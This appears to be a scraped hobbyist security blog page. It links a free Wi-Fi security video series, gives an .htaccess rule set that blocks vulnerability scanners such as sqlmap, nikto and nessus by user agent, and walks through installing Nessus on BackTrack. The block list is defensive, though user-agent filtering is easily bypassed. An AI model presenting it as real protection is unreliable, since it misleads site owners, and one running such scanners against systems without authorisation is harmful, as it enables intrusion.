i think you all security geeks knows him so no need to write more about him. 
 
<a href="http://securitytube.aircrack-ng.org/Wi-Fi-Security-Megaprimer/WLAN-Security-Megaprimer-v1.iso">Download All Free Video Tutorial</a> (iso File 4.2 GB) 
you can also see all video tutorial part wise <a href="http://www.securitytube.net/groups?operation=view&groupId=9">here</a> 
 
TO start up with you need ALFA NETWORK AWUS036NH 2W USB Wireless N Adapte You can easily purchase from<a href="http://www.ebay.com/itm/ALFA-NETWORK-AWUS036NH-2W-USB-Wireless-N-Adapter-WiFi-b-g-N-2000mW-/400611594109?pt=US_USB_Wi_Fi_Adapters_Dongles&hash=item5d464fcf7d"> ebay</a>/amazon .You also need to <a href="http://www.darksite.co.in/2012/05/how-to-install-backtrack-5-r1-in-your.html">set up backtrack</a> on your laptop/pc(<a href="http://www.darksite.co.in/2012/08/how-to-install-vmware-tools-in-backtrack.html">vmweare/virtual box</a>) which i think very easy and i know even a kid can do it. 
 
So Even i have Started to learn wifi security gone upto 22+ videos and the whole video series contain 45+ Videos so have fun and special thanks to vivek sir _/\_ for making these videos and sharing it for free.

Free Learn Wifi Security With Vivek Ramachandran ( Books | Video Tutorials & Concepts )

Hi everyone it really Feel great that Vivek RamaChandran Sir has done an awesome video series of wifi security which makes you clear on most...

How to Protect your website from web vulnerability Scanners

Hello here i come with a small trick but quite useful it can make your website safe from kiddie hackers :P. some time actually new born hackers do use various web scanners like Acunetix, nessus, Openvas & other scanner available at backtrack.so being a web sec guy how can you protect your website from such automated scanner the code is very simple all you need to do is Just add the below given codes to your .htaccess file . <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmz1A7mBmj7rW5bKf_y_p_VuRsvAZxqgEXTuWPfRPSmkE3KNus8cDAGaR7hc2ZherD6SN_BKZsfGmLUv8PBabw9t_DqsHWTxP4FG767HUtjamAbAv6EFNrPla2vtMHp_zLOW2n4KOtG4yA/s1600/hacker.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="protect from web vulnerability scanners" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmz1A7mBmj7rW5bKf_y_p_VuRsvAZxqgEXTuWPfRPSmkE3KNus8cDAGaR7hc2ZherD6SN_BKZsfGmLUv8PBabw9t_DqsHWTxP4FG767HUtjamAbAv6EFNrPla2vtMHp_zLOW2n4KOtG4yA/s620/hacker.png" /></a></div><blockquote>RewriteEngine On 
<�IfModule mod_rewrite.c> 
RewriteCond %{HTTP_USER_AGENT} ^w3af.sourceforge.net [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} dirbuster [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} nikto [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} SF [OR] 
RewriteCond %{HTTP_USER_AGENT} sqlmap [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} fimap [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} nessus [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} whatweb [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} Openvas [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} jbrofuzz [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} libwhisker [NC,OR] 
RewriteCond %{HTTP_USER_AGENT} webshag [NC,OR] 
RewriteCond %{HTTP:Acunetix-Product} ^WVS 
RewriteRule ^.* http://127.0.0.1/ [R=301,L] 
<�/�IfModule> 
(Please Remove � On Original Code) 
</blockquote>after adding this content to .htaccess save it now.this is just a counter step taken to stay away from web scanners. hope you like this post do share ,comments ,like and thank you :) .

How to Protect your website from web vulnerability Scanners

Hello here i come with a small trick but quite useful it can make your website safe from kiddie hackers :P. some time actually new born hack...

installing Nessus Scanner For Network Vulnerability in Backtrack

uhh...hi everyone after a long days i have started posting tut so lets get started today we will be installing nessus scanner on backtrack and using it.<a href="http://www.darksite.co.in/2012/05/how-to-install-and-configure-best.html">Check my long old post :D </a> 
<h3>What is Nessus is For?</h3><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX3IS68Or44IhgjeaSeH9KDV4akvVyBTXQzpAuoi4sKl0cM5t7iU1SOBS6PnphfKVGfzSgK8wonGE9oxaLQ22-coIL87Hk15dlyokzLcWK0i9R3sev4NS7LMsMemohSOmzHthBrGreO7Ki/s1600/nessus.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX3IS68Or44IhgjeaSeH9KDV4akvVyBTXQzpAuoi4sKl0cM5t7iU1SOBS6PnphfKVGfzSgK8wonGE9oxaLQ22-coIL87Hk15dlyokzLcWK0i9R3sev4NS7LMsMemohSOmzHthBrGreO7Ki/s320/nessus.jpg" /></a></div>Nessus is a network vulnerability scanning program thats give you power to find you all the Vulnerability present on the network/host . It is free for personal use. Its can detect vulnerabilities on the systems. Nessus is the most popular vulnerability scanner in the computer security. Nessus allows scans for vulnerabilities, Misconfiguration, default passwords / common passwords / blank passwords on some system accounts, etc. You can use Nessus to scan your system and patch the vulnerability. If you want install Nessus on Backtrack 5 R3 first thing to do is download it from <a href="http://www.tenable.com/products/nessus/">http://www.tenable.com/products/nessus/</a> 
 
So we will discuss how we can install it online (if you are having internet connection) 
Nessus 4.4.1 now comes pre-installed on BackTrack 5 and requires that the user activate the installation. 
Here are the commands to install nessus : open terminal and type(if you don't know :P) 
 
apt-get install nessus 
 
After install it, create an account with adduser command like this 
 
/opt/nessus/sbin/nessus-adduser 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi096BdbvQ3tivzStOhO2i-NKqbUuGFAai-CU-88JyLpJh8W6ITIIcjIbeJ3I1Rr8CMn7ov-mPNM5QUn4xSaz8soNJvL27tfvLnjd_AYErs3c38gKLme8fXLtlYIeB7ibEayf0b6jXF_3SF/s1600/BT5-Adding-User.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi096BdbvQ3tivzStOhO2i-NKqbUuGFAai-CU-88JyLpJh8W6ITIIcjIbeJ3I1Rr8CMn7ov-mPNM5QUn4xSaz8soNJvL27tfvLnjd_AYErs3c38gKLme8fXLtlYIeB7ibEayf0b6jXF_3SF/s400/BT5-Adding-User.png" /></a></div>After you've entered a username, the nessus-adduser program asks you if the user account should have admin privileges or not. It is recommended that the initial user account have admin privileges so you can use the Nessus Web Interface to create subsequent accounts. The only difference between a Nessus admin user and a regular user is the ability to create user accounts. 
<h3>Registering Account For Nessus</h3> 
Once you have Nessus installed on BackTrack 5, you will need to obtain a Nessus activation code. If you wish to purchase a ProfessionalFeed, you can visit the <a href="https://store.tenable.com/">Tenable Store</a>. If you are using Nessus at home or wish to evaluate Nessus, you can <a href="http://www.tenable.com/products/nessus/nessus-homefeed">register a HomeFeed</a>. It’s important to note that the HomeFeed is limited to 16 IP addresses per scan (whereas the ProfessionalFeed allows you to scan an unlimited number of IP addresses). The ProfessionalFeed also gives you access to features such as Configuration and Sensitive Data Auditing, SCADA plugins, Nessus Technical Support and access to the Tenable Customer Portal. 
 
After registering they will send you activation code to your email. After you get the key, run this command, fill change xxxx-xxxx-xxxx-xxxx-xxxx with your key 
 
/opt/nessus/bin/nessus-fetch --register xxxx-xxxx-xxxx-xxxx-xxxx 
 
It will take some time because plugin is being updated. After the update complete, run your Nessus 
 
/etc/init.d/nessusd start 
 
Then open your browser and type this in the URL of the browser 
 
https://localhost:8834/ 
(You can also access the Nessus Web Interface remotely/outside by using the IP address assigned to BackTrack 5 (e.g. https://192.168.37.210:8834/).) 
 
Nessus will run on the secure channel https and on the port number 8834. 
 
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaKnRnPSJ3-PSC_CjQMlJ9Rj7OIj503WC3gwmGfzTY_wVcOo2eKP8Z8JSG_VpK7dfKW3pi3IDsusTRVsHl3HMaPUuk8N976dkf-i-IjCUhE2Z3qIv4Mhs3wbmQNXH3pqJQ89SVYYJdZEIa/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaKnRnPSJ3-PSC_CjQMlJ9Rj7OIj503WC3gwmGfzTY_wVcOo2eKP8Z8JSG_VpK7dfKW3pi3IDsusTRVsHl3HMaPUuk8N976dkf-i-IjCUhE2Z3qIv4Mhs3wbmQNXH3pqJQ89SVYYJdZEIa/s320/2.png" /></a></div> 
Now try and use Nessus for your own risk :-D.. 
 
Next tutorial i will post how to scan a host and get a report using nessus scanner.if you need anyhelp on any tools do post as a comment i will definitely reply on you also i also encourage everyone to use Backtrack if you wann learn more on security things 
.

installing Nessus Scanner For Network Vulnerability in Backtrack

uhh...hi everyone after a long days i have started posting tut so lets get started today we will be installing nessus scanner on backtrack a...